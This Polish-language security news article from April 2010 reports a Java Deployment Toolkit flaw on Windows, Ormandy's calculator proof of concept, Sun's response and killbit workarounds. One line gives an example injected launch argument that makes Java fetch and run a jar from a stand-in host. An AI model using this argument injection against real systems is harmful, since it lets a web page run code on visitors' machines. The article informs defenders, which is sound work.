Exploit w Javie uruchamia lokalne programy Windows

Tavis Ormandy wykrył lukę w zabezpieczeniach Java Deployment Toolkit (JDT) w systemie Windows, za pomocą której odpowiednio spreparowane strony mogą uruchamiać dowolne programy na komputerze z systemem Windows. Możliwe byłoby więc np. pobranie za pomocą FTP trojana, a następnie jego uruchomienie. JDT znajduje się w pakiecie Javy od Java 6 Update 10 i ma ułatwiać programistom dystrybucję programów.

Exploit w Javie uruchamia lokalne programy Windows

12.04.2010 | aktual.: 12.04.2010 15:34

Problem

Według Ormandy'ego problem polega na niewystarczającym filtrowaniu łańcuchów URL, za pośrednictwem których można przekazać dowolny parametr do leżącego u podstaw problemu podsystemu Java Web Start. Sam JWS może przez Java Network Launching Protocol (JNLP) ładować zewnętrzne aplikacje Java i wykonywać je w maszynie wirtualnej.

W wyniku przekazania spreparowanego adresu URL do funkcji launch (np. http: -J-jar -J\\www.example.com\exploit.jar none) można jednak pobrać dalszy kod Java i zmusić maszynę wirtualną Javy do uruchomienia lokalnych programów na prawach użytkownika. Ormandy opublikował pokazowy exploit, który pobiera plik calc.jar, a ten z kolei za pośrednictwem Wiersza polecenia uruchamia systemowy Kalkulator.

W krótkim teście redakcji heise Security w systemie Windows XP z Java 6 Update 1. i Internet Explorerem 8 po chwili uruchomił się Kalkulator. W systemie Windows 7 maszyna wirtualna Javy w przeglądarce Internet Explorer pokazała jedynie komunikat o błędzie. Zdaniem autora exploit powinien działać także w przypadku Firefoksa, jeśli systemem operacyjnym jest Windows, ale w naszych testach nic takiego się nie zdarzyło.

Rozwiązanie

Nie istnieje jeszcze rozwiązanie problemu. Ormandy powiadomił Suna (teraz należącego do korporacji Oracle) o problemie. Według jego artykułu producent nie uznał jednak tej luki za wystarczająco krytyczną, aby wydawać awaryjny patch poza zwykłym trzymiesięcznym cyklem poprawek.

Obejście

Ormandy zaleca, aby do czasu wyeliminowania problemu przez producenta ustawić killbit dla kontrolki ActiveX obsługującej JDT. Można to zrobić albo ręcznie, tak jak opisuje Microsoft, albo też nieco wygodniej za pomocą narzędzia AxBan. Identyfikator klasy problematycznej kontrolki to CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA.

W Firefoksie pomocne może okazać się zablokowanie dostępu do pliku npdeploytk.dll przez bardziej restrykcyjne ustawienie uprawnień.

wydanie internetowe www.heise-online.pl

Wybrane dla Ciebie
Komentarze (0)